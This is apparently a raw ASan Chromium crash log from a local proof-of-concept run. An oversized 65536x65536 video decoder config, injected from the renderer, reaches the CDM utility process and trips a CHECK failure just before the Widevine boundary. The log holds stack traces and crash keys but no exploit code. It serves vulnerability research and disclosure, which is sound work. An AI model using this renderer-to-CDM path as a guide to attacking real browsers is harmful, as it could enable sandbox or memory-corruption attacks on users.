[3107:3107:0402/183912.574272:WARNING:sandbox/policy/linux/sandbox_linux.cc:404] InitializeSandbox() called with multiple threads in process gpu-process. [3073:3073:0402/183912.574713:WARNING:components/os_crypt/sync/key_storage_linux.cc:166] OSCrypt tried Libsecret but couldn't initialise. [3073:3073:0402/183913.471741:WARNING:ui/base/idle/idle_linux.cc:111] None of the known D-Bus ScreenSaver services could be used. [3073:3073:0402/183913.611063:INFO:CONSOLE:10] "got MediaKeySystemAccess: org.chromium.externalclearkey", source: http://127.0.0.1:8080/poc.html (10) [3148:3148:0402/183913.661897:ERROR:media/mojo/clients/mojo_cdm.cc:130] [POC RENDERER] Sending mojom::Decryptor.InitializeVideoDecoder coded_size=65536x65536 IsValidConfig()=false (this would have been rejected by the trait before commit 36ab3814f2c58) [3173:3173:0402/183913.663939:FATAL:media/cdm/cdm_adapter.cc:592] Check failed: config.IsValidConfig(). ================================================================ POC TRIGGERED: out-of-spec VideoDecoderConfig reached the library-CDM boundary in the CDM utility process. ================================================================ coded_size = 65536x65536 width = 65536 (limit: 32767) height = 65536 (limit: 32767) width * height = 4294967296 (limit: 536870911) cdm_config.coded_size = {65536, 65536} ---------------------------------------------------------------- Next line would be: cdm_->InitializeVideoDecoder(cdm_config) -> CdmWrapper -> closed-source library CDM (Widevine) ================================================================ #0 0x562cbfaf69f6 (/chromium/chromium/src/out/asan/chrome+0x10d839f5) #1 0x562cd7d0ce48 (/chromium/chromium/src/out/asan/chrome+0x28f99e47) #2 0x562cd7cca6d7 (/chromium/chromium/src/out/asan/chrome+0x28f576d6) #3 0x562cd79d2185 (/chromium/chromium/src/out/asan/chrome+0x28c5f184) #4 0x562cd79d1cf0 (/chromium/chromium/src/out/asan/chrome+0x28c5ecef) #5 0x562cd79933db (/chromium/chromium/src/out/asan/chrome+0x28c203da) #6 0x562cd79929db (/chromium/chromium/src/out/asan/chrome+0x28c1f9da) #7 0x562cc2f91d78 (/chromium/chromium/src/out/asan/chrome+0x1421ed77) #8 0x562ce196f207 (/chromium/chromium/src/out/asan/chrome+0x32bfc206) #9 0x562cc406d9d0 (/chromium/chromium/src/out/asan/chrome+0x152fa9cf) #10 0x562cd7900561 (/chromium/chromium/src/out/asan/chrome+0x28b8d560) #11 0x562cd791e2a2 (/chromium/chromium/src/out/asan/chrome+0x28bab2a1) #12 0x562cd79068c4 (/chromium/chromium/src/out/asan/chrome+0x28b938c3) #13 0x562cd792e1f9 (/chromium/chromium/src/out/asan/chrome+0x28bbb1f8) #14 0x562cd792c6d9 (/chromium/chromium/src/out/asan/chrome+0x28bb96d8) #15 0x562cd791e2a2 (/chromium/chromium/src/out/asan/chrome+0x28bab2a1) #16 0x562cd78f703b (/chromium/chromium/src/out/asan/chrome+0x28b8403a) #17 0x562cd78f86c1 (/chromium/chromium/src/out/asan/chrome+0x28b856c0) #18 0x562cd78f811a (/chromium/chromium/src/out/asan/chrome+0x28b85119) #19 0x562cd78f9f75 (/chromium/chromium/src/out/asan/chrome+0x28b86f74) #20 0x562cc4eb4cdf (/chromium/chromium/src/out/asan/chrome+0x16141cde) #21 0x562cc4eb4a7b (/chromium/chromium/src/out/asan/chrome+0x16141a7a) #22 0x562cd8791001 (/chromium/chromium/src/out/asan/chrome+0x29a1e000) #23 0x562cd8790941 (/chromium/chromium/src/out/asan/chrome+0x29a1d940) #24 0x562cd8791b08 (/chromium/chromium/src/out/asan/chrome+0x29a1eb07) #25 0x562cd7b406d7 (/chromium/chromium/src/out/asan/chrome+0x28dcd6d6) #26 0x562cd7bb7d7a (/chromium/chromium/src/out/asan/chrome+0x28e44d79) #27 0x562cd7bb6beb (/chromium/chromium/src/out/asan/chrome+0x28e43bea) #28 0x562cd79fecd8 (/chromium/chromium/src/out/asan/chrome+0x28c8bcd7) #29 0x562cd7bb9488 (/chromium/chromium/src/out/asan/chrome+0x28e46487) #30 0x562cd7abb051 (/chromium/chromium/src/out/asan/chrome+0x28d48050) #31 0x562cd09581e8 (/chromium/chromium/src/out/asan/chrome+0x21be51e7) #32 0x562cd3658510 (/chromium/chromium/src/out/asan/chrome+0x248e550f) #33 0x562cd3659840 (/chromium/chromium/src/out/asan/chrome+0x248e683f) #34 0x562cd365c549 (/chromium/chromium/src/out/asan/chrome+0x248e9548) #35 0x562cd3655f22 (/chromium/chromium/src/out/asan/chrome+0x248e2f21) #36 0x562cd365651d (/chromium/chromium/src/out/asan/chrome+0x248e351c) #37 0x562cbfb89b3a (/chromium/chromium/src/out/asan/chrome+0x10e16b39) #38 0x7fe4bcc2b24a (/usr/lib/x86_64-linux-gnu/libc.so.6+0x27249) #39 0x7fe4bcc2b305 (/usr/lib/x86_64-linux-gnu/libc.so.6+0x27304) #40 0x562cbfaaf02a (/chromium/chromium/src/out/asan/chrome+0x10d3c029) Task trace: #0 0x562cd8791474 (/chromium/chromium/src/out/asan/chrome+0x29a1e473) Crash keys: "debugger-attached" = "debugger not attached" "cdm-origin" = "http://127.0.0.1:8080" "cdm-version" = "0.1.0.1" "service-name" = "media.mojom.CdmServiceBroker" "reentry_guard_tls_slot" = "unused" "commandline-disabled-feature-1" = "PaintHolding" "commandline-enabled-feature-1" = "ExternalClearKeyForTesting" "osarch" = "x86_64" "pid" = "3173" "ptype" = "utility" "switch-9" = "--user-data-dir=/tmp/chrome-poc-profile" "switch-8" = "--noerrdialogs" "switch-7" = "--enable-crash-reporter=," "switch-6" = "--crashpad-handler-pid=3075" "switch-5" = "--use-angle=swiftshader-webgl" "switch-4" = "--no-sandbox" "switch-3" = "--service-sandbox-type=cdm" "switch-2" = "--lang=en-US" "switch-1" = "--utility-sub-type=media.mojom.CdmServiceBroker" "num-switches" = "20" [3073:3073:0402/183913.667020:INFO:CONSOLE:10] "createMediaKeys returned -> renderer-side POC injection has fired", source: http://127.0.0.1:8080/poc.html (10) [3073:3073:0402/183913.667311:INFO:CONSOLE:10] "check stderr for [POC RENDERER] / [POC TRIGGERED] / CHECK failure", source: http://127.0.0.1:8080/poc.html (10) [0402/183913.703314:ERROR:third_party/crashpad/crashpad/util/file/file_io_posix.cc:145] open /sys/devices/system/cpu/cpu0/cpufreq/scaling_cur_freq: No such file or directory (2) [0402/183913.703542:ERROR:third_party/crashpad/crashpad/util/file/file_io_posix.cc:145] open /sys/devices/system/cpu/cpu0/cpufreq/scaling_max_freq: No such file or directory (2) Received signal 6 #0 0x562cbfaf69f6 (/chromium/chromium/src/out/asan/chrome+0x10d839f5) #1 0x562cd7d0ce48 (/chromium/chromium/src/out/asan/chrome+0x28f99e47) #2 0x562cd7cca6d7 (/chromium/chromium/src/out/asan/chrome+0x28f576d6) #3 0x562cd7d0c24f (/chromium/chromium/src/out/asan/chrome+0x28f9924e) #4 0x7fe4bcc40050 (/usr/lib/x86_64-linux-gnu/libc.so.6+0x3c04f) #5 0x7fe4bcc8eeec (/usr/lib/x86_64-linux-gnu/libc.so.6+0x8aeeb) #6 0x7fe4bcc3ffb2 (/usr/lib/x86_64-linux-gnu/libc.so.6+0x3bfb1) #7 0x7fe4bcc2a472 (/usr/lib/x86_64-linux-gnu/libc.so.6+0x26471) #8 0x562cd7ca107a (/chromium/chromium/src/out/asan/chrome+0x28f2e079) #9 0x562cee9a92ab (/chromium/chromium/src/out/asan/chrome+0x3fc362aa) #10 0x562cd79d3b5a (/chromium/chromium/src/out/asan/chrome+0x28c60b59) #11 0x562cd79d37b1 (/chromium/chromium/src/out/asan/chrome+0x28c607b0) #12 0x562cd79d2d7d (/chromium/chromium/src/out/asan/chrome+0x28c5fd7c) #13 0x562cd79d1cf0 (/chromium/chromium/src/out/asan/chrome+0x28c5ecef) #14 0x562cd79933db (/chromium/chromium/src/out/asan/chrome+0x28c203da) #15 0x562cd79929db (/chromium/chromium/src/out/asan/chrome+0x28c1f9da) #16 0x562cc2f91d78 (/chromium/chromium/src/out/asan/chrome+0x1421ed77) #17 0x562ce196f207 (/chromium/chromium/src/out/asan/chrome+0x32bfc206) #18 0x562cc406d9d0 (/chromium/chromium/src/out/asan/chrome+0x152fa9cf) #19 0x562cd7900561 (/chromium/chromium/src/out/asan/chrome+0x28b8d560) #20 0x562cd791e2a2 (/chromium/chromium/src/out/asan/chrome+0x28bab2a1) #21 0x562cd79068c4 (/chromium/chromium/src/out/asan/chrome+0x28b938c3) #22 0x562cd792e1f9 (/chromium/chromium/src/out/asan/chrome+0x28bbb1f8) #23 0x562cd792c6d9 (/chromium/chromium/src/out/asan/chrome+0x28bb96d8) #24 0x562cd791e2a2 (/chromium/chromium/src/out/asan/chrome+0x28bab2a1) #25 0x562cd78f703b (/chromium/chromium/src/out/asan/chrome+0x28b8403a) #26 0x562cd78f86c1 (/chromium/chromium/src/out/asan/chrome+0x28b856c0) #27 0x562cd78f811a (/chromium/chromium/src/out/asan/chrome+0x28b85119) #28 0x562cd78f9f75 (/chromium/chromium/src/out/asan/chrome+0x28b86f74) #29 0x562cc4eb4cdf (/chromium/chromium/src/out/asan/chrome+0x16141cde) #30 0x562cc4eb4a7b (/chromium/chromium/src/out/asan/chrome+0x16141a7a) #31 0x562cd8791001 (/chromium/chromium/src/out/asan/chrome+0x29a1e000) #32 0x562cd8790941 (/chromium/chromium/src/out/asan/chrome+0x29a1d940) #33 0x562cd8791b08 (/chromium/chromium/src/out/asan/chrome+0x29a1eb07) #34 0x562cd7b406d7 (/chromium/chromium/src/out/asan/chrome+0x28dcd6d6) #35 0x562cd7bb7d7a (/chromium/chromium/src/out/asan/chrome+0x28e44d79) #36 0x562cd7bb6beb (/chromium/chromium/src/out/asan/chrome+0x28e43bea) #37 0x562cd79fecd8 (/chromium/chromium/src/out/asan/chrome+0x28c8bcd7) #38 0x562cd7bb9488 (/chromium/chromium/src/out/asan/chrome+0x28e46487) #39 0x562cd7abb051 (/chromium/chromium/src/out/asan/chrome+0x28d48050) #40 0x562cd09581e8 (/chromium/chromium/src/out/asan/chrome+0x21be51e7) #41 0x562cd3658510 (/chromium/chromium/src/out/asan/chrome+0x248e550f) #42 0x562cd3659840 (/chromium/chromium/src/out/asan/chrome+0x248e683f) #43 0x562cd365c549 (/chromium/chromium/src/out/asan/chrome+0x248e9548) #44 0x562cd3655f22 (/chromium/chromium/src/out/asan/chrome+0x248e2f21) #45 0x562cd365651d (/chromium/chromium/src/out/asan/chrome+0x248e351c) #46 0x562cbfb89b3a (/chromium/chromium/src/out/asan/chrome+0x10e16b39) #47 0x7fe4bcc2b24a (/usr/lib/x86_64-linux-gnu/libc.so.6+0x27249) #48 0x7fe4bcc2b305 (/usr/lib/x86_64-linux-gnu/libc.so.6+0x27304) #49 0x562cbfaaf02a (/chromium/chromium/src/out/asan/chrome+0x10d3c029) r8: 0000562cf8b97ff0 r9: 00007fffffffff01 r10: 0000000000000008 r11: 0000000000000246 r12: 0000000000000006 r13: 00007be4b9c37300 r14: 00000f7c97386e60 r15: 00007c24bafec270 di: 0000000000000c65 si: 0000000000000c65 bp: 00007fe4bbbc6700 bx: 0000000000000c65 dx: 0000000000000006 ax: 0000000000000000 cx: 00007fe4bcc8eeec sp: 00007ffd59fec8a0 ip: 00007fe4bcc8eeec efl: 0000000000000246 cgf: 002b000000000033 erf: 0000000000000000 trp: 0000000000000000 msk: 0000000000000000 cr2: 0000000000000000 [end of stack trace] [3148:3148:0402/183913.747357:ERROR:media/mojo/clients/mojo_cdm.cc:182] Remote CDM connection error: custom_reason=0, description=""